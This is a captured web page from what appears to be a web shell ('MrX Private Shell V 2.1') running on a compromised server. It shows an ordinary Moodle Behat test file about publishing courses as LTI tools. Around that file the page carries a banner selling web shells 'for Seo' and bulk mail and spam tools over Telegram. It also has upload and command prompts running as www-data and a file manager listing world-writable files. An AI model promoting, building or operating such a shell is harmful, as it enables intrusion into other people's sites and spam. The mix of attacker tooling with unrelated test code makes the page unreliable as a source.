__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@enrol @enrol_lti
Feature: Check that the page listing the shared external tools is functioning as expected
  In order to edit an external tool
  As a teacher
  I need to ensure the tool listing page is working as expected

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email |
      | teacher1 | Teacher | 1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | format |
      | Course 1 | C1 | topics |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
    And the following "activities" exist:
      | activity | name                 | intro                    | course | idnumber  | section |
      | assign   | Test assignment name | Submit your online text  | C1     | assign1   | 1       |
    And I log in as "admin"
    And I navigate to "Plugins > Enrolments > Manage enrol plugins" in site administration
    And I click on "Enable" "link" in the "Publish as LTI tool" "table_row"
    And I log out

  Scenario: I want to edit an external tool
    Given I log in as "teacher1"
    And I turn editing mode on
    And I am on the "Course 1" "enrolment methods" page
    And I select "Publish as LTI tool" from the "Add method" singleselect
    And I set the following fields to these values:
      | Custom instance name | Assignment - LTI |
      | Tool to be published | Test assignment name |
      | LTI version          | Legacy LTI (1.1/2.0) |
    And I press "Add method"
    And I am on "Course 1" course homepage
    And I navigate to "Published as LTI tools" in current page administration
    And I click on "Legacy LTI (1.1/2.0" "link"
    And I should see "Assignment - LTI" in the ".generaltable" "css_element"
    When I click on "Disable" "link" in the "Assignment - LTI" "table_row"
    Then ".dimmed_text" "css_element" should exist in the "Assignment - LTI" "table_row"
    And I click on "Enable" "link" in the "Assignment - LTI" "table_row"
    And ".dimmed_text" "css_element" should not exist in the "Assignment - LTI" "table_row"
    And I click on "Edit" "link" in the "Assignment - LTI" "table_row"
    And I set the following fields to these values:
      | Custom instance name | Course - LTI |
      | Tool to be published | Course |
    And I press "Save changes"
    And I should see "Course - LTI" in the ".generaltable" "css_element"
    And I click on "Delete" "link" in the "Course - LTI" "table_row"
    And I press "Cancel"
    And I should see "Course - LTI" in the ".generaltable" "css_element"
    And I click on "Delete" "link" in the "Course - LTI" "table_row"
    And I press "Continue"
    And I should see "No resources or activities are published yet"
    And I should not see "Course - LTI"

Filemanager

Name Type Size Permission Actions
basic_settings.feature File 2.74 KB 0777
index_page.feature File 2.74 KB 0777
lti_adv_resource_publication.feature File 5.71 KB 0777
lti_adv_tool_registration.feature File 13.3 KB 0777
Filemanager